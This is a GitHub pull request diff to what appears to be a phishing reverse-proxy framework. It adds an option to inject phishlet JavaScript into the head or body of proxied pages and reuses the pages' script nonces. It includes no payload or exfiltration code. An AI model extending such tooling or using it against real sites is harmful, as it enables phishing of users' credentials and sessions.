Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

added abitlity to inject scripts in head or body #1157

Open
wants to merge 2 commits into
base: master
Choose a base branch
from
Open

added abitlity to inject scripts in head or body #1157

Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
2 commits
Select commit Hold shift + click to select a range
2700c50
fix: inject script in head section to increase performances
callightmn Jan 3, 2025
0ae165e
added `location` parameter to inject in either 'head' or 'body' (defa…
callightmn Jan 17, 2025
File filter

Filter by extension

Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
10 changes: 5 additions & 5 deletions core/http_proxy.go
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -1167,13 +1167,13 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
js_params = &s.Params
}
//log.Debug("js_inject: hostname:%s path:%s", req_hostname, resp.Request.URL.Path)
js_id, _, err := pl.GetScriptInject(req_hostname, resp.Request.URL.Path, js_params)
js_id, _, location, err := pl.GetScriptInject(req_hostname, resp.Request.URL.Path, js_params)
if err == nil {
body = p.injectJavascriptIntoBody(body, "", fmt.Sprintf("/s/%s/%s.js", s.Id, js_id))
body = p.injectJavascriptIntoBody(body, "", fmt.Sprintf("/s/%s/%s.js", s.Id, js_id), location)
}

log.Debug("js_inject: injected redirect script for session: %s", s.Id)
body = p.injectJavascriptIntoBody(body, "", fmt.Sprintf("/s/%s.js", s.Id))
body = p.injectJavascriptIntoBody(body, "", fmt.Sprintf("/s/%s.js", s.Id), location)
}
}
}
Expand Down Expand Up @@ -1321,14 +1321,14 @@ func (p *HttpProxy) javascriptRedirect(req *http.Request, rurl string) (*http.Re
return req, nil
}

func (p *HttpProxy) injectJavascriptIntoBody(body []byte, script string, src_url string) []byte {
func (p *HttpProxy) injectJavascriptIntoBody(body []byte, script string, src_url string, location string) []byte {
js_nonce_re := regexp.MustCompile(`(?i)<script.*nonce=['"]([^'"]*)`)
m_nonce := js_nonce_re.FindStringSubmatch(string(body))
js_nonce := ""
if m_nonce != nil {
js_nonce = " nonce=\"" + m_nonce[1] + "\""
}
re := regexp.MustCompile(`(?i)(<\s*/body\s*>)`)
re := regexp.MustCompile(`(?i)(<\s*/`+regexp.QuoteMeta(location)+`\s*>)`)
var d_inject string
if script != "" {
d_inject = "<script" + js_nonce + ">" + script + "</script>\n${1}"
Expand Down
20 changes: 15 additions & 5 deletions core/phishlet.go
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -94,6 +94,7 @@ type JsInject struct {
trigger_domains []string `mapstructure:"trigger_domains"`
trigger_paths []*regexp.Regexp `mapstructure:"trigger_paths"`
trigger_params []string `mapstructure:"trigger_params"`
location string `mapstructure:"location"`
script string `mapstructure:"script"`
}

Expand Down Expand Up @@ -207,6 +208,7 @@ type ConfigJsInject struct {
TriggerDomains *[]string `mapstructure:"trigger_domains"`
TriggerPaths *[]string `mapstructure:"trigger_paths"`
TriggerParams []string `mapstructure:"trigger_params"`
Location *string `mapstructure:"location"`
Script *string `mapstructure:"script"`
}

Expand Down Expand Up @@ -474,13 +476,20 @@ func (p *Phishlet) LoadFromFile(site string, path string, customParams *map[stri
if js.Script == nil {
return fmt.Errorf("js_inject: missing `script` field")
}
location := "body"
if js.Location != nil {
if (*js.Location != "body" && *js.Location != "head") {
return fmt.Errorf("js_inject: unknown location - only 'head' or 'body' are supported")
}
location = p.paramVal(*js.Location)
}
for n := range *js.TriggerDomains {
(*js.TriggerDomains)[n] = p.paramVal((*js.TriggerDomains)[n])
}
for n := range *js.TriggerPaths {
(*js.TriggerPaths)[n] = p.paramVal((*js.TriggerPaths)[n])
}
err := p.addJsInject(*js.TriggerDomains, *js.TriggerPaths, js.TriggerParams, p.paramVal(*js.Script))
err := p.addJsInject(*js.TriggerDomains, *js.TriggerPaths, js.TriggerParams, p.paramVal(*js.Script), location)
if err != nil {
return err
}
Expand Down Expand Up @@ -807,7 +816,7 @@ func (p *Phishlet) GetLandingPhishHost() string {
return ""
}

func (p *Phishlet) GetScriptInject(hostname string, path string, params *map[string]string) (string, string, error) {
func (p *Phishlet) GetScriptInject(hostname string, path string, params *map[string]string) (string, string, string, error) {
for _, js := range p.js_inject {
host_matched := false
for _, h := range js.trigger_domains {
Expand Down Expand Up @@ -847,12 +856,12 @@ func (p *Phishlet) GetScriptInject(hostname string, path string, params *map[str
script = strings.Replace(script, "{"+k+"}", v, -1)
}
}
return js.id, script, nil
return js.id, script, js.location, nil
}
}
}
}
return "", "", fmt.Errorf("script not found")
return "", "", "", fmt.Errorf("script not found")
}

func (p *Phishlet) GetScriptInjectById(id string, params *map[string]string) (string, error) {
Expand Down Expand Up @@ -982,7 +991,7 @@ func (p *Phishlet) addHttpAuthToken(hostname string, path string, name string, h
return nil
}

func (p *Phishlet) addJsInject(trigger_domains []string, trigger_paths []string, trigger_params []string, script string) error {
func (p *Phishlet) addJsInject(trigger_domains []string, trigger_paths []string, trigger_params []string, script string, location string) error {
js := JsInject{
id: GenRandomToken(),
}
Expand All @@ -1001,6 +1010,7 @@ func (p *Phishlet) addJsInject(trigger_domains []string, trigger_paths []string,
js.trigger_params = append(js.trigger_params, strings.ToLower(d))
}
js.script = script
js.location = location

p.js_inject = append(p.js_inject, js)
return nil
Expand Down